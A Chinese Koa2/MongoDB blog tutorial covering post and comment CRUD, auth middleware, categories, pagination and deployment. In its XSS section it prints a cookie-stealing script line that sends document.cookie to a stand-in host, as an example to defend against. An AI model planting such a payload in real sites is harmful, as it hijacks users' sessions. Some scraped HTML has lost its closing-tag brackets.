[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QZfDUR3n-1654395336700)(./images/index.png)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RE1QIofy-1654395336701)(./images/show.png)]
##文章编辑与删除
现在来实现文章的编辑修改,在posts.js
新建edit
方法
async edit (ctx, next) {
if (ctx.method === 'GET') {
const post = await PostModel.findById(ctx.params.id)
if (!post) {
throw new Error('文章不存在')
}
if (post.author.toString() !== ctx.session.user._id.toString()) {
throw new Error('没有权限')
}
await ctx.render('edit', {
title: '更新文章',
post
})
return
}
const { title, content } = ctx.request.body
await PostModel.findByIdAndUpdate(ctx.params.id, {
title,
content
})
ctx.flash = { success: '更新文章成功' }
ctx.redirect(`/posts/${ctx.params.id}`)
}
edit.html
与create.html
基本一致。不过有了文章的数据
{% extends 'views/base.html' %}
{% block body %}
{% block script %}
{% endblock %}
{% endblock %}
删除功能很简单,找到文章、判断用户是否有权限删除,然后删除即可
// routes/posts.js
async destroy (ctx, next) {
const post = await PostModel.findById(ctx.params.id)
if (!post) {
throw new Error('文章不存在')
}
console.log(post.author, ctx.session.user._id)
if (post.author.toString() !== ctx.session.user._id.toString()) {
throw new Error('没有权限')
}
await PostModel.findByIdAndRemove(ctx.params.id)
ctx.flash = { success: '删除文章成功' }
ctx.redirect('/')
}
动手试试,并思考思考还有那些问题?
前面的章节我们已经实现了用户登录注册,文章的管理。但是有个重要问题我们还没解决。那就是权限管理。正常情况下,我们没有登录的话只能浏览,登陆后才能发帖或写文章,而且一些功能*(如下一节将实现的分类管理)*只有管理员才能操作。
在用户登录注册那一节,已经说了本项目通过session来记录用户状态。那么现在就来做用户的权限控制。你一定能想到:我们只需要在对应的控制器里面判断session中是否存在user。如:
// routes/about.js
module.exports = {
async index (ctx, next) {
// 判断session.user
if (!ctx.session.user) {
ctx.flash = { warning: '未登录, 请先登录' }
return ctx.redirect('/signin')
}
ctx.body = 'about'
}
}
但是每个控制器里都写这么一点判断太麻烦了。我们可以将它写成一个中间件,然后在对应的路由上直接使用即可。
// routes/index.js
const router = require('koa-router')()
// 判断是否登录的中间件
async function isLoginUser (ctx, next) {
if (!ctx.session.user) {
ctx.flash = { warning: '未登录, 请先登录' }
return ctx.redirect('/signin')
}
await next()
}
module.exports = (app) => {
router.get('/', require('./home').index)
...
router.get('/posts/new', isLoginUser, require('./posts').create)
router.post('/posts/new', isLoginUser, require('./posts').create)
..
app
.use(router.routes())
.use(router.allowedMethods())
}
现在就给需要用户登录的功能加上这个登录控制中间件试试。
前面我们队用户登录状态做了判断,现在我们再来写一个控制管理员权限的方法。
async function isAdmin (ctx, next) {
console.log(ctx.session)
if (!ctx.session.user) {
ctx.flash = { warning: '未登录, 请先登录' }
return ctx.redirect('/signin')
}
if (!ctx.session.user.isAdmin) {
ctx.flash = { warning: '没有权限' }
return ctx.redirect('back')
}
await next()
}
它先判断用户是否登录,在判断当然用户是不是管理员isAdmin: true
。接下来就可以像使用isLoginUser
一样使用了
评论功能主要有:
发表评论 POST /comments/new
删除评论 GET /comments/:id/delete
router.post('/comments/new', isLoginUser, require('./comments').create)
router.get('/comments/:id/delete', isLoginUser, require('./comments').destroy)
// models/comment.js
const mongoose = require('mongoose')
const Schema = mongoose.Schema
const CommentSchema = new Schema({
postId: {
type: Schema.Types.ObjectId,
ref: 'Post'
},
from: {
type: Schema.Types.ObjectId,
ref: 'User',
require: true
},
to: {
type: Schema.Types.ObjectId,
ref: 'User'
},
content: {
type: String,
required: true
},
meta: {
createAt: {
type: Date,
default: Date.now()
}
}
})
module.exports = mongoose.model('Comment', CommentSchema)
postId
代表评论对应的文章ID,from
代表发表评论者,to
代表需要艾特的人*(本文暂不实现该功能)*,content
为内容
先来写一个发表评论的表单。同时将它引入到post.html
// components/comments.html
<form action="/comments/new" method="POST" class="media">
<div class="media-content">
<div class="field">
<input type="hidden" name="postId" value="{{post._id}}">
<p class="control">
<textarea name="content" class="textarea" placeholder="发表评论…">textarea>
p>
div>
<button class="button is-info is-pulled-right">Submitbutton>
div>
form>
注意,这儿加了个隐藏域来存放postId
编写留言控制器routes/comments.js
const CommentModel = require('../models/comment')
module.exports = {
async create (ctx, next) {
const comment = Object.assign(ctx.request.body, {
from: ctx.session.user._id
})
await CommentModel.create(comment)
ctx.flash = { success: '留言成功' }
ctx.redirect('back')
}
}
更改components/comments.html
添加一个留言列表
<form action="/comments/new" method="POST" class="media">
<div class="media-content">
<div class="field">
<input type="hidden" name="postId" value="{{post._id}}">
<p class="control">
<textarea name="content" class="textarea" placeholder="发表评论…">textarea>
p>
div>
<button class="button is-info is-pulled-right">Submitbutton>
div>
form>
{% for comment in comments %}
<article class="media comment">
<figure class="media-left">
<p class="image is-24x24">
<img src="https://bulma.io/images/placeholders/128x128.png">
p>
figure>
<div class="media-content">
<div class="content">
<p>
<strong>{{comment.from.name}}strong>
<br>
{{marked(comment.content) | safe}}
p>
div>
<nav>
nav>
div>
<div class="media-right is-invisible">
<button id="reply" class="button is-small is-primary">回复button>
<a href="/comments/{{comment._id}}/delete" class="button is-small">删除a>
div>
article>
{% endfor %}
我们让评论也支持了markdown。
修改posts.js
控制器
...
const CommentModel = require('../models/comment')
...
async show (ctx, next) {
const post = await PostModel.findById(ctx.params.id)
.populate({ path: 'author', select: 'name' })
// 查找评论
const comments = await CommentModel.find({ postId: ctx.params.id })
.populate({ path: 'from', select: 'name' })
await ctx.render('post', {
title: post.title,
post,
comments
})
}
现在我们就完成了评论以及评论的展示。接下来实现删除功能
async destroy (ctx, next) {
const comment = await CommentModel.findById(ctx.params.id)
if (!comment) {
throw new Error('留言不存在')
}
if (comment.from.toString() !== ctx.session.user._id.toString()) {
throw new Error('没有权限')
}
await CommentModel.findByIdAndRemove(ctx.params.id)
ctx.flash = { success: '成功删除留言' }
ctx.redirect('back')
}
Web 应用中存在很多安全风险,这些风险会被黑客利用,轻则篡改网页内容,重则窃取网站内部数据,更为严重的则是在网页中植入恶意代码,使得用户受到侵害。常见的安全漏洞如下:
本文主要讲述xss和csrf的攻击。当年cnode就被自动回复,弹窗搞得满天飞 哈哈哈。
我们先来看看我们现在存在的问题,打来你编写的博客应用,在留言或者新建文章需要用户输入的时候直接输入
在新建文章页,你会发现,再输入的时候就会弹出弹窗,先别管。将它发布出去,接下来每次进入详细内容页你都能看见这个弹窗。我们应该对XSS过滤,把标签符号转为实体字符,同时过滤掉非法脚本。在这个项目中我们使用了marked这个库来转换markdown语法,我们只需要开启即可
marked.setOptions({
...
- sanitize: false
+ sanitize: true
...
})
XSS(cross-site scripting,因为已经有个CSS了,所以它叫了XSS)跨域脚本攻击攻击是最常见的 Web 攻击,攻击者利用这种漏洞在网站上注入恶意的客户端代码。其重点是『跨域』和『客户端执行』。
XSS 攻击一般分为两类:
反射型的 XSS 攻击,主要是由于服务端接收到客户端的不安全输入,在客户端触发执行从而发起 Web 攻击。发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码。例如:
在某购物网站搜索物品,搜索结果会显示搜索的关键词。搜索关键词填入, 点击搜索。页面没有对关键词进行过滤,这段代码就会直接在页面上执行,弹出 alert。
基于存储的 XSS 攻击,是通过提交带有恶意脚本的内容存储在服务器上,当其他人看到这些内容时发起 Web 攻击。一般提交的内容都是通过一些富文本编辑器编辑的,很容易插入危险代码。存储型XSS和反射型的XSS差别就在于,存储型的XSS提交的代码会存储在服务器端
CSRF(Cross-site request forgery)跨站请求伪造,也被称为 One Click Attack
或者 Session Riding
,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。 CSRF 攻击会对网站发起恶意伪造的请求,严重影响网站的安全。
通常来说,对于 CSRF 攻击有一些通用的防范方案,简单的介绍几种常用的防范方案:
X-Requested-With: XMLHttpRequest
)的请求。这个方案可以被绕过,所以 rails 和 django 等框架都放弃了该防范方式在前面我们只是alert('xss')
,如果将可执行脚本改为
location.href='http://www.xss.com?cookie='+document.cookie;
那我们将可以获取到用户的cookie,可以以这个用户的身份登录成功。koa cookie默认设置为httpOnly,这样能有效的防止XSS攻击。
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
前面我们完成了基本的文章增删改查,这节我们来实现文章分类管理
新建分类 GET category/new
POST category/new
分类列表 GET /category
删除文章 GET /category/:id/detele
对于分类管理来说,需要管理员才可以操作。即 UserModel isAdmin: true
(直接手动在数据库中更改某个user的isAdmin
字段为true
即可 )
和之前一样,还是先来设计模型,我们只需要 title:分类名如”前端“,name:用来在url中简洁的显示如"frontend",desc:分类的描述。当然你只要个 title 字段也是可以的
// models/category.js
const mongoose = require('mongoose')
const Schema = mongoose.Schema
const CategorySchema = new Schema({
name: {
type: String,
required: true
},
title: {
type: String,
required: true
},
desc: {
type: String
},
meta: {
createAt: {
type: Date,
default: Date.now()
}
}
})
module.exports = mongoose.model('Category', CategorySchema)
修改下models/posts.js
新增一个category字段
...
category: {
type: Schema.Types.ObjectId,
ref: 'Category'
}
...
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ApiZWw4z-1654395486382)(./images/category.png)]
新建分类管理控制器 routes/category.js
,增加一个list方法来展示渲染分类管理的主页
const CategoryModel = require('../models/category')
module.exports = {
async list (ctx, next) {
const categories = await CategoryModel.find({})
await ctx.render('category', {
title: '分类管理',
categories
})
}
}
接着编写分类管理的前端界面 views/category.html
{% extends 'views/base.html' %}
{% block body %}
{% include "views/components/header.html" %}
{% endblock %}
现在打开这个页面并没有分类,因为我们还没有添加分类,接下来实现新增分类功能
在category控制器中新建一个create方法
// routes/category.js
async create (ctx, next) {
if (ctx.method === 'GET') {
await ctx.render('create_category', {
title: '新建分类'
})
return
}
await CategoryModel.create(ctx.request.body)
ctx.redirect('/category')
}
访问 http://localhost:3000/category/new 将返回create_category.html
页面
{% extends 'views/base.html' %}
{% block body %}
{% include "views/components/header.html" %}
{% endblock %}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RNVU92ZF-1654395486384)(/Users/lx/workspace/abc-blog/docs/images/create_category.png)]
在接受到 post 请求时,将分类数据存入数据库
删除的功能和删除文章、删除评论基本一样
async destroy (ctx, next) {
await CategoryModel.findByIdAndRemove(ctx.params.id)
ctx.flash = { success: '删除分类成功' }
ctx.redirect('/category')
}
前面完成了分类管理,我们需要把文章指定分类,修改views/create.html
和 views/edit.html
增加一个分类选择框。
...
<div class="right-box">
<div class="select is-small">
<select name="category">
<option disabled="disabled">分类option>
{% for category in categories %}
<option value={{category._id}}>{{category.title}}option>
{% endfor %}
select>
div>
<button type="submit" class="button is-small is-primary">发布button>
div>
...
同时修改routes/post.js
的create和edit方法,把分类信息传给模板
...
const categories = await CategoryModel.find({})
await ctx.render('create', {
title: '新建文章',
categories
})
...
新建一篇文章,看看数据库,多了一个 category 字段存着分类的id。
// routes/posts.js
async show (ctx, next) {
const post = await PostModel.findById(ctx.params.id)
.populate([
{ path: 'author', select: 'name' },
{ path: 'category', select: ['title', 'name'] }
])
const comments = await CommentModel.find({ postId: ctx.params.id })
.populate({ path: 'from', select: 'name' })
await ctx.render('post', {
title: post.title,
post,
comments
})
},
修改下文章详情页来展示分类名
// views/posts.html
{{marked(post.content) | safe}}
现在每一个用户登录上去都可以管理分类,我们只想要管理员可以管理。在前面的章节中已经实现了权限控制,只要在相应的路由上使用 isAdmin
即可
// routes/index.js
...
router.get('/category', isAdmin, require('./category').list)
router.get('/category/new', isAdmin, require('./category').create)
router.post('/category/new', isAdmin, require('./category').create)
router.get('/category/:id/delete', isAdmin, require('./category').destroy)
##展示分类文章
前面基本上已经实现了分类功能,现在来实现根据URL参数返回相应的分类文章如 /posts?c=nodejs
返回分类为Node.js 的文章
// routes/posts.js
async index (ctx, next) {
const cname = ctx.query.c
let cid
if (cname) {
const cateogry = await CategoryModel.findOne({ name: cname })
cid = cateogry._id
}
const query = cid ? { category: cid } : {}
const posts = await PostModel.find(query)
await ctx.render('index', {
title: 'JS之禅',
posts
}
}
修改 posts.js
中的index 方法,通过 ctx.query
获取解析的查询字符串, 当没有查询字符串时,返回一个空对象。然后再去通过name去查出分类id,最后通过分类id去查询文章
随着内容的增加,我们的文章会越来越多,全部一次显示出来会增加数据查询耗时,同时不利用用户浏览。我们就需要分页功能。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8OJpS4CF-1654395529402)(./images/pagination.png)]
在MongoDB 终端中运行如下代码新增 101个文章
for(var i = 0; i < 101; i++){
db.posts.insert({
title: 'test ' + i,
content: 'test' + i,
category: ObjectId("5b15f4f45aaaa85ea7bccf65"),
author : ObjectId("5b07648464ce83289036ea71")
})
}
现在访问主页,将返回包含101个文章的列表。
MongoDB实现分页主要有两种方式
本案例将通过第一种方式实现,修改下routes/posts.js
的index方法
const pageSize = 15
const currentPage = parseInt(ctx.query.page) || 1
const posts = await PostModel.find({}).skip((currentPage - 1) * pageSize).limit(pageSize)
我们通过 /posts?page=2
的方式来传页码。第二页就应该跳过前15 条记录再返回16到第30条内容。可以在浏览器中更改页码试试
前面我们了解到分页的原来,现在来渲染分页器。新建一个分页器的组件components/pagination.html
// components/pagination.html
{% if 1 < pageCount and pageCount >= currentPage %}
{% else %}
没有更多了...
{% endif %}
在这分页器中,我们需要总页数,当前页。然后循环显示出每一页的页码
// routes/posts.js
module.exports = {
async index (ctx, next) {
const pageSize = 15
const currentPage = parseInt(ctx.query.page) || 1
const allPostsCount = await PostModel.count()
const pageCount = Math.ceil(allPostsCount / pageSize)
const posts = await PostModel.find(query).skip((currentPage - 1) * pageSize).limit(pageSize)
await ctx.render('index', {
title: 'JS之禅',
posts,
currentPage,
pageCount
}
}
}
通过count()
方法获取到文章的总数,然后算出页数,再通过skip().limt()
来获取当页数据。现在一个基本的分页器就已经实现了。但是有个问题,如果页数特别多没页面上就会显示出很多也页码按钮不出来。
现在来实现一个高级一点儿的分页器*(即文首的图片中的那样的分页器)*。根据当前页码显示出前后两页,其他显示为三个点。这个分页器的关键在于设置需要显示的起始页和结束页,即循环页码时不再从1开始到pageCount结束,而是从pageStart(起始页)到pageEnd(结束页)结束。我们根据当前页来计算起始和结束
// routes/posts.js#index
const pageStart = currentPage - 2 > 0 ? currentPage - 2 : 1
const pageEnd = pageStart + 4 >= pageCount ? pageCount : pageStart + 4
const baseUrl = ctx.path + '?page='
await ctx.render('index', {
title: 'JS之禅',
posts,
currentPage,
pageCount,
pageStart,
pageEnd,
baseUrl
}
修改components/pagination.html
来渲染当前页及当前页的上下页
{% if 1 < pageCount and pageCount >= currentPage %}
{% else %}
没有更多了...
{% endif %}
因为我们还有分类功能,我们还应该让这个分页器在显示分页分类文章的时候也适用,http://localhost:3000/posts?c=nodejs&page=2
修改routes/posts.js
的index.js
async index (ctx, next) {
console.log(ctx.session.user)
const pageSize = 5
const currentPage = parseInt(ctx.query.page) || 1
// 分类名
const cname = ctx.query.c
let cid
if (cname) {
// 查询分类id
const cateogry = await CategoryModel.findOne({ name: cname })
cid = cateogry._id
}
// 根据是否有分类来控制查询语句
const query = cid ? { category: cid } : {}
const allPostsCount = await PostModel.find(query).count()
const pageCount = Math.ceil(allPostsCount / pageSize)
const pageStart = currentPage - 2 > 0 ? currentPage - 2 : 1
const pageEnd = pageStart + 4 >= pageCount ? pageCount : pageStart + 4
const posts = await PostModel.find(query).skip((currentPage - 1) * pageSize).limit(pageSize)
// 根据是否有分类来控制分页链接
const baseUrl = cname ? `${ctx.path}?c=${cname}&page=` : `${ctx.path}?page=`
await ctx.render('index', {
title: 'JS之禅',
posts,
pageSize,
currentPage,
allPostsCount,
pageCount,
pageStart,
pageEnd,
baseUrl
})
},
现在我们访问一个不存在的路由http://localhost:3000/404
默认会返回
Not Found
通常我们需要自定义 404 页面,新建一个views/404.html
{% extends 'views/base.html' %}
{% block body %}
<div class="page-404 has-background-light has-text-centered">
<pre>
.----.
_.'__ `.
.--($)($$)---/#\
.' @ /###\
: , #####
`-..__.-' _.-\###/
`;_: `"'
.'"""""`.
/, ya ,\\
// 404! \\
`-._______.-'
___`. | .'___
(______|______)
pre>
<p class="subtitle is-3">迷路了…p>
<a href="javascript:history.back();" class="button is-primary">上一页a>
<a href="/" class="button is-link">回主页a>
div>
{% endblock %}
修改 routes/index.js,在路由最后加上
// 404
app.use(async (ctx, next) => {
await ctx.render('404', {
title: 'page not find'
})
})
现在随便访问一个未定义的路由如:http://localhost:3000/404
将出现如下页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XFJdUcZf-1654395564646)(./images/404.png)]
在koa2中,出现错误,会直接将错误栈打印到控制台。因为使用了async、await,可以方便的使用 try-catch 来处理错误,同时我们可以让最外层的中间件,负责所有中间件的错误处理。创建你自己的错误处理程序:
app.use(async (ctx, next) => {
try {
await next()
} catch (err) {
ctx.status = err.statusCode || err.status || 500;
ctx.body = {
message: err.message
};
}
})
注意:这个错误处理中间件应该放在最外层即中间件链的起始处。
我们也可以为它指定自定义错误页,新建一个你自己喜欢的error.html
修改 middlewares/error_handler.js
module.exports = function errorHandler () {
return async (ctx, next) => {
try {
await next()
} catch (err) {
ctx.status = err.statusCode || err.status || 500
await ctx.render('error', {
title: ctx.status
})
}
}
}
在index.js 引入并使用
const error = require('./middlewares/error_handler')
...
app.use(error())
...
现在在程序中随便抛出个错误试试
运行过程中一旦出错,Koa 会触发一个error
事件。监听这个事件,也可以处理错误
app.on('error', (err, ctx) =>
console.error('server error', err)
)
需要注意的是,如果错误被try...catch
捕获,就不会触发error
事件。这时,必须调用ctx.app.emit()
,手动释放error
事件,才能让监听函数生效。修改下之前的错误处理中间件,在渲染自定义错误页后添加如下代码手动释放error 事件。这下控制台也能打印出错误详情
ctx.app.emit('error', err, ctx)
在互联网中信息太多,我们需要一个资源地址来定位我们的网站。这儿我们就要提到IP了比如 “202.101.139.188” 的形式。它为每个连接在Internet上的主机分配的一个在全世界范围内唯一的32位地址。IP地址通常圆点(半角句号)分隔的4个十进制数字表示。
但是记IP地址也太麻烦了吧,因此在IP地址的基础上又发展出一种符号化的地址方案,来代替数字型的IP地址。每一个符号化的地址都与特定的IP地址对应,这样网络上的资源访问起来就容易得多了。这个与网络上的数字型IP地址相对应的字符型地址,就被称为域名。它同IP地址一样都是用来表示一个单位、机构或个人在网上的一个确定的名称或位置。所不同的是比IP地址较有亲和力,更容易被人们记记和乐于使用。
在选取域名的时候,我们应该首选简短好记或是有一定意义的域名:纯英文、纯数字、拼音等。在哪儿注册域名:阿里云、腾讯云、新网以及国外的Name.com、Namecheap、Godaddy等等服务商都可以(如何选?哪家便宜选哪家)
这儿用阿里云做演示百度或者谷歌阿里云域名注册 打开万网*(阿里云域名服务前身是万网)* https://wanwang.aliyun.com/domain/ 在首页的大输入框输入你想要注册的域名,点击查域名即可。然后选好你中意的后缀,登录付款即可。
现在云计算平台太多腾讯云、阿里云、青云、XX云,国外大的亚马逊AWS、Microsoft Azure、小的DigitalOcean 、vultr。关于如何选择,优先选择大的服务商,优先选择国内的*(国内主机需备案)*。当然个人也可以直接买国外的vultr的玩玩,便宜、还可以搭建SS。
阿里云经常做活动,点击导航栏的最新活动进入到活动页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M3NNpT55-1654395606519)(./images/aliyun.png)]
可以看到各种活动,甚至还有免费套餐,你都可以看看。选择服务器操作系统时选择Ubuntu 16.04,如果只有14.04 可以选择就选择了之后在控制台更换系统即可 (当然你也可以自由选择你熟悉的Linux发行版本 如CentOS) 在购买时,应该会让你设置root 密码。
购买完成后进入到控制台,在你的服务器详情页看看你的Ubuntu版本是否是16.04,如果不是,停止这个服务器,点击更换系统盘即可*(更换时需要设置root密码)*
在mac上我们,我们直接在命令行中使用ssh命令连接
$ssh root@你的服务器IP
之后会出现一段提示说无法确认host主机的真实性,只知道它的公钥指纹,问你还想继续连接吗?输入yes,然后就会要求你输入之前设置的root用户的密码
在Windows上使用xshell来连接服务器,百度搜索xshell 然后下载,安装时候根据提示安装就可以,选择Free 非商业用途。打开Xshell,打开时候会弹出新建链接的窗口,点击新建,根据提示输入服务器IP及端口
点击【用户身份验证】,在这里输入你的用户名和密码。然后点击【确定】按钮开始链接。
当然你也可以在xshell的终端直接使用ssh命令来连接主机,与Mac使用方法一样
在我们选购号域名与服务器后(这儿以阿里云为例),进入【控制台】,找到【域名与网站(万网)】->【云解析DNS】选着对应的域名,设置解析,对于网站应用我们需要加上www和@的A记录,其记录值为你的服务器IP,现在阿里云有个新手引导,只需要填上记录值即你的服务器IP。如果你是买的阿里云的主机,访问域名,你将愉快的看见一个备案提示。进行备案即可。